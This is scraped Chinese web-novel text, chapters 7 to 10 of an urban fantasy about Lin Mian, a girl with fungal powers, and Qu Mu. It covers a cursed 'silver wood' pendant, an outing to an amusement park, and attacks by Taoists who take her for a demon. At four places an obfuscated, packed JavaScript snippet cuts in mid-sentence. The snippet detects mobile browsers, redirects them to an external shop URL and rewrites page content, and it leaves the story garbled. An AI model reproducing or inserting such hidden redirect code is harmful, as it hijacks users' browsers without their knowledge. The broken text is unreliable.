“这银木是什么啊?”林眠听得很认真,伸出手摸了摸这所谓的银木,虽然颜色和白银一样,但是摸上去的手感是温热的木质感。 秦宁拿起这块玉佩,解释道:“银木的来历能追溯到五百年前,它每隔一段时间就会出现在市面上,挑选符合它心意的人,从而作恶。” “但这银木显然是经过人为加工过,才能镶嵌在玉佩上。”秦宁将玉佩还给瞿木,接着解释说: “瞿家老爷子年轻时南下经商,偶然走进了南方最大的鬼市处,买到了这块玉。 “之后他回了老家一趟,也就是那一次,村子里死了八个人。” “这八个人,真和这银木有关系?”林眠问。 秦宁看向林眠,点点头,“银木每次有踪迹之时,就会有人无缘无故的死去,找不到原因。” 说着他又看向瞿木,“你爷爷那会儿就发现了问题,故而想将这玉佩给丢掉,可是不管怎么样,这玉佩都会回到他的身边。” “也就是在那时,他发现自己财运亨通,不管遇到什么问题,都莫名其妙的被解决了。面对这种事情,瞿老爷子很惶恐。而在此时,我们秦家也在找这银木,就和瞿老爷子遇见了。” 瞿木大致听明白了,但是... “那个林嘉明弄错了,把这邪性误认为小鬼。” 秦宁轻蔑一笑,“他就是个学了一点点术式,就以为自己了解这玉佩了。” “黑影是银木里面的邪性的具象化,根本不是什么小鬼。但他也确实没说错,这银木里的邪性消失了。” “消失了才好。”瞿木摸着玉佩,自己戴了好些年了,要是知道这什么镶边的银木里有什么邪性,他肯定得做噩梦。 可秦宁的神情却不是很好,“以前我们一直以为银木就是银木,可现在银木的邪性能离开了,说明它更为强大了。” 瞿木耸耸肩,不是很在意道:“这就是你们的责任了。” 自己既不是道士,也不会除妖,这银木也没了邪性,剩下的工作就得靠这些除妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461828|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世家了。 了解事情的来龙去脉后,瞿木认为这件事和自己家也没什么关系,要怪就怪这银木。而且昨天和林嘉明聊了之后,林嘉明也表示,他的复仇对象是银木,既然邪性不在这里,他也就没必要找自己了。 林眠撑着脸,没想到这小小的银木还有这些来历。 “既然解释清楚了,我就先离开了。”秦宁起身拱手,便直接离开了。 秦宁走了之后,瞿木就给自己妈妈发了个消息,毕竟林眠是爷爷请来的,现在人接到了,自然要通知一下。 “林眠,我这样叫你可以吧?”瞿木问,他之前都叫林大师,现在知道林眠是爷爷的客人,再叫大师也就不合适了。 “可以。” 比叫什么大师,听起来要顺耳多了。林眠心想。 “你来北城也快两个月了,没找到瞿家,你怎么不回去?”瞿木决定好好了解一下林眠,之前他脑子不太清醒,加上事情越发离奇,自然也就没时间去思考这些事情。 “没钱。”林眠回答的很老实。 瞿木倒吸一口气,“你来北城,没有手机就算了,没有钱?” 林眠不觉得有什么,直接说:“本来是有的,但是我买了手机之后,第二天,我的钱就都没了。再加上我也找不到瞿家,就找了家汉堡店的工作。” 瞿木皱了下眉,“你来的时候带了多少钱啊?” “五千。”林眠躺在沙发上,想都不用想直接回答,“奶奶去世了,办完葬礼,就只剩这么多钱了。” 瞿木不知道该说些什么了,联想到林眠身无分文在城市里生活,还无亲无故,他都有些于心不忍了。 早知道,自己当初就应该问问清楚,把人给接回来。 …… 林嘉明自从见过瞿木和林眠后,总感觉有哪些地方不对。 “来了。”林嘉明听到门外的敲门声,连忙起身去开门。 门口站着的是一个穿着白衣的男人,手上撑着一把伞。 “刚刚那两个人您都见到了?”林嘉明问,虽然自己年纪比面前这个男人要大,但还是用了敬语。 “见到了。”况衍君没有进门,而是在门口站着说。 林嘉明垂下眼,将自己的疑惑问出来:“那玉佩里看来并没有养小鬼,而且里面的小鬼已经消失了。” “那看来我们调查错了,如果不是养小鬼,那会是什么?” 况衍君的声音很平淡。 林嘉明对于这个问题也想了很久,他说道:“难道是妖物?” 他想要杀瞿木也是因为小鬼缘故,瞿家人养小鬼,那就是和小鬼绑定了,只要宿主一死,小鬼也活不了。 可现在看来,不是这样。 况衍君听了,脸上露出一丝笑容,问他:“你知道银木吗?” “...略有耳闻。”林嘉明说完,突然想到什么,“瞿木那块玉佩上镶的是银木?” 他也摸了这玉佩,比起这上面的玉,更引人注目的是那镶边的“银”,质感一眼就能看出不像是白银。 况衍君笑笑,“是的,我也是刚刚看了眼,你看的那个黑影,应该是这银木中的邪性,但现在也不在这银木里了。” 林嘉明对此,也只能是叹息,他见况衍君要走,连忙问:“可那个叫林眠的,不知道是什么来路,看样子不像是修炼术式之人。” 自己操纵瓷娃娃时,就在附近,林眠的反应根本不像是会破解之法,但自己的娃娃就被震碎了。 “不用管她,她身上有些蹊跷,但不碍事。”况衍君说完,就撑着伞离开了。 8. 悲惨身世 林眠这几天在瞿木家里,除了瞿木一直好奇地拉着自己问奶奶和瞿爷爷是什么关系,之后便是瞿爷爷打来电话。 “小眠啊,你还记得我不?”瞿如清笑呵呵地问,“你小的时候我还抱过你呢,那会儿你还不会走路,一眨眼就这么多年过去了。” 一旁的瞿木饭了个白眼,那么小,怎么可能会记得? “记得呀。”林眠看到瞿爷爷的脸时,就有印象了。她自小记忆力就很好,尤其是记人这一方面,即使不知对方的名字,只要见过,都会有印象。 “哈哈。”瞿如清只当她是为了哄自己开心,说:“你这段时间就好好跟着木木,这小子要是做了什么不好的事,你不要怕,一定要告诉我。” 瞿木:怕的难道不应该是自己吗?这个故人的孙女,可不是什么普通人。 林眠和瞿爷爷聊了几句,挂了电话之后,瞿父瞿华平也打来了一个电话,比起瞿爷爷的和蔼可亲,瞿父则看着要严厉许多,眉眼间和瞿木有七分的相似度。 挂了电话之后,林眠跑去和一旁的瞿木说:“你爸爸和你长的真像,但你们身上的气质完全不一样。” “谁要和他身上的气质一样。”瞿木翻了个白眼,仰起头,一股不屑。 林眠不太懂,思索了几秒后,说:“那你身上的气质肯定是像妈妈。” 这话瞿木爱听,颇为赞同的点点头,“这话倒是没错。” “你呢?你爸妈呢?好像没听你提起过。”瞿木突然想到这一茬,林眠的奶奶去世了,那她爸妈呢? “我没有爸妈。”林眠回答。 瞿木顿时有些手足无措了,想说点什么拯救一下话题,就见林眠自己说起来。 “奶奶在我小时候就不愿意提起我爸妈,我也问过她,可是她就是不说,后面奶奶去世了,她也只让我来北城找瞿家,根本不提我爸妈的事。 “所以,我爸妈应该是死了。” 林眠一本正经地说。 瞿木看林眠眉宇之间毫无伤心之情,自己虽然和老爸关系不好,但如果...他还是会很难过的。 “说不定他们只是因为什么不得已的原因,才把你托付给奶奶。”瞿木在旁说道。爸妈就去世了,由奶奶带大,这听着多少有点心酸。 “不可能吧,再有原因,也不能这么多年我一次都没见过。”林眠反驳道,她也思考过这个问题,想来想去,还是去世了的可能性更大。 瞿木感觉现在就像是一口气哽住了喉咙,她就这么想自己爸妈去世啊? “不说这个了,我带你出去买衣服吧?”瞿木转移话题,他发现这几天,林眠都穿的这几件衣服,牛仔裤都洗的发白了。 林眠感受到瞿木打量着自己,视线从头到脚,又从脚到头的来回扫射。 “得多买一些。”瞿木说。 林眠看了看自己穿的,她怎么感觉瞿木很嫌弃自己的穿着? 附近就有不少商场,晚上灯火通明、人头攒动,瞿木带着林眠在商场处走了走,看到卖衣服的店就进去逛一圈。 “你喜欢什么样的?”瞿木问。 还不等林眠回答,瞿木又来了一句:“算了,还是我来选吧。” 林眠看了眼瞿木,嘟囔道:“你家里的衣服都是花里胡哨的。” 瞿木听到了她的嘟囔,回过头说:“我是学服装设计的,那不叫做花里胡哨,那叫做时尚感。” “时尚感就是裤子和衣服上破好几个洞吗?”林眠一脸纯真发问。 瞿木张了张嘴,过了好几秒,才对着林眠说了一句:“老土!” 林眠不太懂这一些,她只看到过,瞿木的衣服各式各样的,有些衣服还有好些洞。 “这个,这个,还有这个,你都试一下。”瞿木被林眠气的不行,偏偏对方一副十分真诚的模样,他都不好说些什么了。 林眠听话的换了一套又一套,基本上都是裙装比较多。虽然她对穿着没什么想法,但是看着镜子里不一样的自己,还是有点不一样的感受。 等瞿木觉得满意了,买了单,林眠提着大包小包出了服装店门口。 她刚出了门,刚想问瞿木接下来干嘛的时候,脑门上突然被贴了一张...符咒。 “什么妖魔鬼怪,快快现出原型!”一道清脆的女声响起。 林眠把符咒从自己脑门上撕下来,看了眼符咒上面奇奇怪怪的符文,又看向面前那个女生。 “你竟然不怕我的符咒?”秦渊往后退了一步,快速地看了看周围,一只手还在袋子里摸索着。 “秦渊!你在这干嘛?”瞿木从服装店出来,一眼就看到了秦渊。 秦渊看到瞿木,又看向那个带着妖物味道的女生,瞿木正在从她手上接过袋子,他们两个认识? “瞿木,你身旁那个,是妖物!”秦渊出口说道。 瞿木愣了一下,对着秦渊说:“去去去,别胡说啊。” “这位是我家的客人,也是一位玄学大师,和你们家也算是同行了。”瞿木解释说。 林眠拿着符咒,看向秦渊。 “秦渊,是秦宁的妹妹,”瞿木向林眠介绍后,又对着秦渊说:“这是林眠。” “林眠?和我家是同行?没听过啊。”秦渊打量着林眠,难道是自己感觉错了?不过同行身上沾染点妖气也是很正常的。 只是,这位同行看着有点年轻啊。 林眠倒不是很在意这事,她把符咒还给秦渊。 秦渊见状,也有些不太好意思,误会人家了。自己也是出来买东西,谁知道就嗅到一股妖气,追着妖气而来,就直接把符咒贴了上去。 “我请你们吃东西。”秦渊为表歉意,拉着他们去附近的甜品店吃东西。 到了店里,林眠一心专注于上面各式各样的甜心,瞿木则和秦渊聊了起来。 “你怎么不在学校里?不是要忙毕业的事么?”瞿木喝了一口水,问她。 秦渊耸耸肩,“那我总要出来买东西啊,不过就是走在路上的时候,闻到了...”她用眼神瞟了一眼林眠,“就找到了这儿。” 她虽然抓妖技术不行,但是嗅觉灵敏,即使隔了几十米,也能嗅到空气中飘荡的妖气。 瞿木挠挠头,这秦渊话里话外就是妖,这听的他也忍不住看一眼林眠,自己身上的菌丝是从林眠身上来的,难道这菌丝是妖物? 可这妖物为什么会受林眠控制? 林眠点完了餐,抬起头,见瞿木盯着自己发呆,便问:“怎么了?” “没,你多点些。”瞿木收回视线,装作若无其事的模样。 秦渊一手撑着脸看着他们两个,自己经常往瞿家跑,都不知道有这么一个人,而且看瞿木和林眠的样子,他们两个很熟。 “林眠,你多大呀?看着和我差不多。”秦渊有些好奇地问。 “21了。”林眠回答。 “和我一样大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461829|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !你今年毕业了吗?”秦渊没想到这么巧,竟然一样大。 刚好点的饮品先上来了,林眠接过自己的那一杯,回答说:“毕业?我毕业好多年了。” “啊?”秦渊一时之间没反应过来这是什么意思。 林眠算了算时间,“18年的时候,我就毕业了。” “1...18年?”秦渊脑子断线了一下,随后快速地倒推一下,“18年我才初中毕业!” “嗯嗯,对,就是初中。”林眠指出,她都忘了自己是什么毕业了,反正毕业了。 秦渊听了,有些求助一般地看向瞿木。 瞿木自己都很震惊,他也不知道这些事啊。 当事人林眠丝毫不觉得有什么,但看他们两个的神情怪怪的,不解地问:“你们怎么了?” “林眠,你怎么不继续上学啊?”秦渊实在是顶不住她这么真诚的目光。 林眠理所当然地回答:“因为义务教育只有九年啊。” 瞿木刚刚喝了一口饮料,听了林眠的话,差点把自己噎住了,她干脆说自己成绩不好没考上高中得了,怎么能这么理直气壮地说是义务教育只有九年。 秦渊沉默地吸了一口芒果汁,早知道不提这个了,现在多尴尬啊。 “上齐了。”服务员将点的甜品都上了,并对着单子看了看,说。 上菜成功地打破了三个人之间的沉默,当然瞿木觉得这只是自己和秦渊之间的沉默。毕竟…… 当事人林眠一点都不觉得尴尬,已经拿着勺子吃起来了。 秦渊见状,也跟着吃甜品,吃着吃着也就不觉得尴尬了,还和林眠一起讨论味道如何。 吃完甜品后,时间也不早了。 秦渊也要回学校了,再晚一些宿舍就锁门了。 瞿木和林眠则慢悠悠地往回走着。 “你爸妈人好吗?” “你以前过得什么生活?” 两人同时开口。 瞿木轻咳了一声,说:“不会难为你的,你是爷爷的客人,更何况,有我在呢。” 他说完,又觉得自己这话怪怪的,怎么有一种带女朋友见家长的感觉?想到这里,瞿木瞬间感觉吹过来的风都是热的。 林眠倒不是怕他爸妈什么的,就是单纯的好奇地问一下,毕竟在村子里,她见过很多类型的父母。 但不管怎么样,在她的心里,还是下意识的把别人的父母分了“好”与“坏”。 她也没反驳瞿木的回答,而是说:“我就在村子里生活。” “村子里人不多,而且陆陆续续一直有人搬离村里。我和奶奶住在山上,和大家来往的也不多。” 瞿木看着林眠,真不知道她之前是怎么长大的。回想起之前林眠说,她带着五千块钱来到了北城,加上之前陈助调查的,她似乎没地方住? “你到北城之后,住在哪里?”瞿木问的时候,一直小心翼翼地看着林眠。 林眠张了张嘴,随后抿着唇,抬起眼眸看瞿木,说:“不告诉你。” “我要去洗澡睡觉了。” 说完,林眠就起身回房间去了。 瞿木看着林眠离开,不知怎么的,刚刚那一刻,林眠的眼珠子未免有些太亮了。他深呼吸了一口气,脑子里浮现出林眠流落街头的模样,毕竟第一次见面的时候、林眠救自己的时候,她就在街头处蹲着。 至此,林眠的悲惨身世在瞿木身上已经坐实了。 9. 游乐园 林眠总觉得这两天瞿木怪怪的,对自己莫名的关心了起来,可她也不知道是什么原因,也只好任由他了。 好在的是,和瞿木在一起住了接近半个月了,瞿木身体里的菌丝没有任何反应。 这些天在家也无聊,林眠便沉迷在游戏当中,刚好草莓软糖最近上线频率也很高。林眠便央求对方带自己刷刷本,过过关卡。 瞿木捧着手机,见林眠这几天也天天抱着手机,心里不免感慨道:之前没接触过手机的人,有了手机一样会沉迷其中。 “林眠,你身上的菌丝是怎么来的?”瞿木看了眼趴在沙发上玩手机的林眠,找话题和她聊天。 “不知道。”林眠回答的很快,头也没抬。 “就没有什么不适吗?像我这样,浑身长蘑菇。”瞿木已经好久没长蘑菇了,回想起当时的感觉,还是让人毛骨悚然。 林眠这才抬起头,认真地想了想,“没有,我也不会长蘑菇。” “行吧,看来倒霉的只有我。”瞿木呼了一口气。 “不过我会别的。”林眠突然开口,语气和眼神中还带了一点期待。 瞿木将手机放下,抬起头,问:“别的?什么啊?” 林眠没抬头,在手机上快速地打完字后,才从沙发上爬起来,走到瞿木身旁,咬着下唇,垂着头小声说:“我给你看了,你不要觉得我很奇怪。” 瞿木愣了一下,低下头看了眼自己的手机,收到了一条游戏好友的消息,他直接划过,将手机息屏,说: “不会,还能有什么再奇怪的事,我现在什么没见过?” 他这段日子经历过的事,是他做梦都梦不到的,已经没什么能让他觉得奇怪了。 但他还是下意识咽了一口口水,有些紧张地看着林眠。 只见林眠抬起手,她的指尖处长出一些细长的菌丝,然后变幻成各种各样的模样,最后变成一颗小蘑菇,落在瞿木的手背上。 瞿木第一次见到这种场面,自己身上虽然也长过菌丝和蘑菇,可自己一醒,菌丝就会消失,只有蘑菇留在自己的身上。 现在手上这颗蘑菇是林眠给自己的。 看着倒也没那么讨厌了。 天知道,那一个月之后,他看到菌类都浑身起鸡皮疙瘩。 林眠收回手,朝瞿木笑笑。从很早以前,她就想和别人分享自己身上的秘密,可是奶奶不允许。 “你这也太酷了。”瞿木说道,将手上的蘑菇拿下来,仔细看看,和自己身上长的蘑菇还真一模一样。 林眠还是第一次听到有人夸自己酷,脸上的笑容更大了,她凑上前,看着瞿木说:“我们出去玩吧。” “???”瞿木没反应过来,她刚刚给自己展示这个,不会就是为了让自己带她出去玩吧? “我刚刚看到了这个。”林眠把手机屏幕亮给瞿木看。 瞿木看了一眼,游乐园?也是,小女生会喜欢这些地方。 “去吧,马上就饭点了,我们吃完晚饭再去。”瞿木大手一挥,就答应了。 林眠听了,开心地跑回房间。 恰好这时,赵阳博打来了电话。 “我的木哥哥,今天出来玩啊,咱们兄弟两都快两个月没见面了。” 瞿木一听,这倒也是,便说:“你确定今天要跟我出去玩?” “确定,地点在哪?你安排就是了。”赵阳博笑嘻嘻地说。 “等会我发给你。”瞿木说完就挂了电话。 林眠已经换好衣服出来了,她穿的是前几天瞿木带自己买的裙子。自己那些衣服确实挺旧的了,换了新衣服总有种不一样的感受。 瞿木刚刚挂了电话,就看到林眠从房间里出来,换上了新买的裙子。 “怎么了?”林眠发现瞿木一直看自己,问他。 “没,我去换件衣服。”瞿木移开视线,急匆匆地跑回房间里去。 林眠拿起手机,打开摄像头拍了一张照片,并发了朋友圈,即使她的微信好友里只有几个人,一个瞿木,剩下的几个都是汉堡店员工。 等瞿木换好衣服出来,一起去附近吃了饭,才慢悠悠地去游乐园。 晚上的游乐园亮着五颜六色的灯光,一闪一闪的,远远的就能抓着人的眼球。林眠看到后,心里的期待更多了。 “木哥,游乐园有什么新项目吗?” 突然一只手攀上瞿木的肩膀。 瞿木用脚指头想都知道是赵阳博,十分嫌弃的拿开他的手,说:“没有。” “那有什么好玩的啊?这游乐园我小时候就玩够了。”赵阳博提高声调,他还以为瞿木今晚安排了什么节目呢。 等下,瞿木身旁这个小姑娘是谁? 赵阳博后知后觉地看向林眠。 “我是瞿木的风水师,我叫林眠。”林眠主动自我介绍说。她可是收了瞿木的钱,那自然就是瞿木的风水师了。 “风...风水大师?”赵阳博推了一下眼睛,靠近瞿木低声问:“你真的整上玄学了?” 瞿木无所谓的耸耸肩,说:“以后等你遇上事了,你也会信的。” 赵阳博挺无语,但这姑娘年纪轻轻,竟然也是风水大师,再想到秦渊,他都忍不住嘟囔一句:“现在的年轻女孩都去玄学了嘛。” 但他也算是见过的,自然地走到林眠身边,笑嘻嘻的说:“你好,我叫赵阳博,你能帮我看看我的桃花运吗?” “我不会。”林眠诚实回答。 赵阳博呆住了。 “幸福应该是靠自己争取的,你要是有喜欢的人,就大胆的去追求人家。”林眠接着说道,她最近看了一些电视剧,男女主就是顾忌太多了才要经历这么多磨难。 “啊?” “哦。”赵阳博摸了摸后脑勺,怎么感觉有点被教育了? 瞿木在旁边憋笑,拉过林眠说:“要玩什么项目?” “这个,这个,这个。”林眠不知道这些项目叫什么名字,伸手指了指。 “行,我们两个陪你玩。”瞿木还不忘拉上赵阳博。 赵阳博也很捧场,对待漂亮的小姑娘,他一向很绅士,拍着胸口说:“没问题,把整个游乐场玩遍了都行。” 三人一起买票,从门口的第一个项目开始玩。 秦宁按照追踪符显示的踪迹,来到了游乐园,刚转了一圈,就看到瞿木和林眠他们,不由得停住了脚步。 他抬起头看了一天,乌云将月亮遮住了。 “那个小女孩不简单啊。”身后来了一位挺着大肚子的中年男人,“十年过去了,银木的邪性再次来到了北城。” “或许,根本就没离开过北城。”秦宁看向申伟,从他祖父开始研究银木,都找不出办法消灭银木中的邪性,直到十年前,银木的邪性突然消失了。 而现在邪性又突然出现在北城... “呵,只要出现了,我等必然要将这邪性给消灭了!”申伟面目狰狞,这邪性害了那么多人的性命。 秦宁没说话,目前为止,消灭邪性的办法无人得知。但只要邪性附体人类,再将那个人杀了,邪性自然也会消散,可祖父和父亲都不愿意用这个方式。 “你们怀疑林眠?”秦宁突然想到什么,这群人原本就是半吊子,空有一腔热血,这次也都聚集在游乐场处。 “自然,她一来北城,北城就出了好几起事故,看样子就是邪性所为。”申伟说道,“你们秦家就是太谨慎了,才屡次让邪性跑了。” “这一次,就不劳烦你了。”申伟说完,就背着手离开了。 秦宁没出声,消灭银木邪性固然重要,可他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461830|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生命一样重要。同样,他也不认为林眠和银木邪性有关系。 “申长老。”秦宁喊住申伟,说:“林眠也是学习道术之人,现在是瞿家请的风水师,您还是再仔细查查,这银木邪性到底在谁身上。” 他话已至此,之后的事怎么做就看申伟的了。 申伟深吸一口气,他确实没在林眠身上找到邪性,可这里最古怪的就是她!前阵子瞿家少爷瞿木出了事,就连秦家都束手无策,那个小姑娘竟然能解决... 林眠也不是什么名家出来的,现在还说是修道之人,怕不是借助了银木邪性的歪门邪道! 秦宁在游乐场处又转了几圈,空气中淡淡的气味一直飘来,包里的驱魔箭也在震动,银木邪性确定无疑就在这里。 瞿木和赵阳博陪着林眠玩了不少项目,他们累的都快喘不上气了。 “我们进去鬼屋玩吧。”林眠指着对面的鬼屋处,满脸期待。 瞿木摆摆手,“休息一下。” “我的好姐姐,你不累吗?”赵阳博直接喊她姐了,那过山车坐了两遍了,他都快吐出来了,结果林眠像个没事人一样。 “不累。”林眠摇摇头,从包里拿出两瓶水,给他们一人递一瓶,“喝完水,我们再进去吧。” 瞿木顿时不是很想接这瓶水了。 “这鬼屋是不是和以前不一样了?”赵阳博喝了一口水,突然发现有些不太一样了。 瞿木看了一眼,确实不一样了,“改主题了吧。” “这里的老板那么抠,这么多年都没改过,竟然单独把鬼屋改造了。”赵阳博吐槽说,刚刚玩的那些项目,都和以前一模一样,贴纸都没变过。 没想到鬼屋竟然重新翻修了。 瞿木将一瓶水都灌下去,再将水瓶直接扔进一旁的垃圾桶,说:“进去吧,玩完这个我们就算是把所有的项目都玩了一遍了。” “有些项目是两遍。”赵阳博在旁边补充道。 林眠很兴奋地点点头,说:“这里面的鬼是什么样的?我还没见过鬼呢。” 瞿木抽了抽嘴角,这里谁见过鬼? “走了。”瞿木率先往前走。 在鬼屋门口验了票,一进去后,就一点灯光都没有了。 往前走了几步,慢慢适应黑暗的环境,也能看清楚一些装鬼的物件了。 林眠兴致勃勃的往前走,一条狭窄的过道里,他们只能一前一后走着,只不过走在最前头的是林眠。 赵阳博忍不住吐槽道:“这是不是就叫做风水佬玩鬼屋,装神弄鬼啊。” 途中时不时有道具小鬼从墙壁里冲出来,朝着他们做鬼脸,伸出长长的舌头。 瞿木不耐烦地将这舌头一抓,直接甩了出去,还不忘说:“这舌头做的真逼真,我的手还有些粘粘的。” 林眠突然停了下来,走在她身后的瞿木一不小心没刹住车,撞了一下林眠,幸好瞿木反应快,一把拉住林眠,没让她摔下去。 “怎么了?不往前走。”瞿木看了看前头,黑乎乎一片。 “前面有人。”林眠的声音有些凝重,她感觉到对方来者不善。 瞿木第一反应就是:“别的玩家?” “真人NPC?”赵阳博插上一句。 “不对啊,我们这是鬼屋,你们两个好歹怀疑一下对面是鬼吧?”赵阳博反应过来,自己也被他们两个带歪了。 “咻”的一声,一把匕首插到了墙壁上,发出沉闷的声音。 “这鬼屋这么刺激了吗?”赵阳博咽了口口水。 瞿木好歹是经历过事情的人,这种感觉十分不对劲,他连忙拉住前面的林眠,说:“我们还是快出去吧。” “既然进来了,就别想走!” “我们已经布下了天罗地网,妖物别想逃。” 10. 刀枪不入 密室周围突然亮起了烛火,原本漆黑的环境有些光亮了,才能发现这里是一个密闭空间,周围布满了八卦阵。 “这是闹哪出啊?”赵阳博上前摸了摸八卦阵,鬼屋现在还有这配置了? 这时,门缝里突然冲出一个人,手中的匕首在烛光的照射下,散发出冰冷的光,朝着林眠冲了过来。 “小心。”瞿木眼疾手快,一把拉过林眠,让她避过这匕首。 “瞿木,你不要多管闲事。”申伟目光阴狠,拿着匕首,死死盯着林眠。 瞿木看向面前这个人,有些眼熟,但这里的烛火太暗,他看不是很清,便问:“你认识我?” “哼。”申伟冷哼一声,随后双手结印,念咒。 “不是,你是道士?”瞿木反应过来,他爷爷很是信这一些,家里不管做什么都会请大师看过,除了秦家,也会和一些别的道士来往。 可这人为什么要做这些啊? 林眠看着申伟,下意识地抓住瞿木的衣摆,瞿木见状,也觉得这咒语在这个环境里,十分的诡异,更重要的是,她感觉到了烦躁,那种从心底蔓延上来的烦躁。 她忍不住朝着申伟喊:“别念了,吵死了。” 申伟念完咒语,拿起匕首,再一次朝着林眠冲了过来。 瞿木这才知道是冲着林眠来的,连忙拉过林眠,躲开攻击。 林眠看向瞿木,脸上全是疑惑,这个人为什么要杀自己? “瞿木,你这是做什么?”申伟见状,目光阴沉,说:“她不是人,身上说不定还有银木的邪性!” “有个屁。”瞿木反驳道。 申伟咬着牙,瞿家是他们的金主,对于这个瞿家大少爷,心里多多少少还是有点顾忌,便好心劝说:“即使没有,她也不是人,体内肯定藏着妖物,你怕是被蛊惑了!” 瞿木才懒得管这些,他也知道林眠身上有古怪,可这些日子,在他的眼里,林眠就是个小女生。 林眠看向那个男人,皱了一下眉,问:“我有得罪过你吗?” 她很确定,自己没见过这个人。 “不管你是什么,非我族类,其心必异。”申伟说完这句话,拿出一瓶水,喝了一口再吐在匕首上,嘴里念念有词,朝着林眠再次发起进攻。 “快躲开!”瞿木喊道,拉着林眠,心里都是得想办法冲出这里才行,到了外面就没事了。 “你们逃不出去的。”申伟喊了一句,这里的两扇门,他都用了符咒封住了,妖物是触碰不得的。 “咔哒”一声,门打开了。 “我们从这里出去。”赵阳博一直蹲在门角处。起初他还以为这只什么新型鬼屋玩法,后面越看越不对劲,就连忙把门打开。 申伟没想到这茬,顿时愣住了。 瞿木见状,连忙拉着林眠往外跑。 跑出鬼屋后,三个人喘着气。 “不是,你们能和我解释解释吗?”赵阳博喘着气问,“这到底怎么回事啊?” “以后和你说,总之你相信我就是了。”瞿木拍了拍赵阳博的肩膀。 这个点游乐园里的人不多了,但也有不少人走过。 申伟从里面追出来,看着外面来来往往的人,也停下了脚步。 林眠抬起头,就和申伟对视上来了。 “不用管他,走。”瞿木说着,拉着林眠往外走。 出了游乐园,赵阳博有一肚子的问题想问,但看了眼林眠,还是闭上了嘴,和他们挥挥手就准备回家去。 “没事吧?”瞿木感觉林眠是吓坏了。 之前他一直觉得林眠很厉害,但现在对面是活生生的人拿着匕首,林眠又这个呆愣愣模样,关键时刻还得靠自己。 林眠摇摇头,她没什么事,只是心里有点异样的感觉。 “他说我是妖物。” 两个人往前走着,林眠突然开口说。 瞿木低下头,看向林眠,解释说:“他胡说八道,你看秦宁,你也见过他,他们秦家可是祖祖辈辈都是学道术的,他都没说你是妖物。” “这人估计就是江湖术士,没啥本事。” 林眠听了,抿着唇说:“秦渊也说我是妖物,我知道我和别人不一样。” 一直以来,她都知道自己和别人不一样,奶奶说去了北城,就要学会隐藏自己的能力,可现在看来,她没有办法隐藏起来。 瞿木张了张嘴,他也不知道妖物是什么,林眠身上确实有些不一样。 “是妖物又怎么样?你又不害人。”瞿木说道,“别想这些了,明天我让卫叔找找这个人是谁,我要报警把他抓起来!” “不对,明天太晚了,我现在就去让卫叔处理。”瞿木说着,从口袋里拿出手机,给卫叔打了个电话,说明了一下情况。 林眠看着瞿木,心里又有一种异样的感觉,这是她第一次被相信。 “快回家吧,都快到12点了。”瞿木将手机收起,他刚刚打开手机才知道,现在已经11点多了。 “嗯。”林眠点点头,跟着瞿木往前走。 临近12点,即便是市中心,路上的行人也不多了。 “最近真的变凉了,晚上人都少了这么多。”瞿木抱怨说,以前这个时候...他记得街上人挺多的啊。 林眠四周张望了一下,她总感觉周围不太对劲。 “我们还是走快点。”林眠说。 她话音刚落,四周突然冒出好几个人,清一色穿着黑衣,朝着林眠和瞿木冲了过来。 瞿木也被吓了一跳,身体下意识往后退。 “你们是谁?”瞿木故作镇定地喊道,还不忘将林眠护在身后。这该死的道士还知道买凶杀人? 林眠看着他们,他们衣服上都绣着一个图案,且蒙上了脸,看着来者不善。 对面穿着黑衣服的人没说话,只是快速地冲过来。 瞿木好歹学过拳击,自然冲上去和他们搏斗了起来。 林眠也想帮忙,可自己根本没打过架,上去反而添乱。 没过一会,瞿木双拳难敌四手,更何况对方有五六人,渐渐就落了下风。就他们不知道怎么办的时候,秦宁来了。 秦宁拳脚功夫也不错,和瞿木一起,很快就将这几个人打趴下。 “说,是谁派你们来的?”瞿木用脚踩着一个,喘着气问。 这么一群人,肯定是有组织有预谋。 秦宁看着他们,眼里也有一些探究。 林眠走上来,每个人都看了一眼,“这里的人我都不认识。” “但肯定是冲着林小姐来的。”秦宁开口道。 瞿木皱了一下眉,鬼屋那个也是冲着林眠。 地上的人都不出声,个个沉默着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 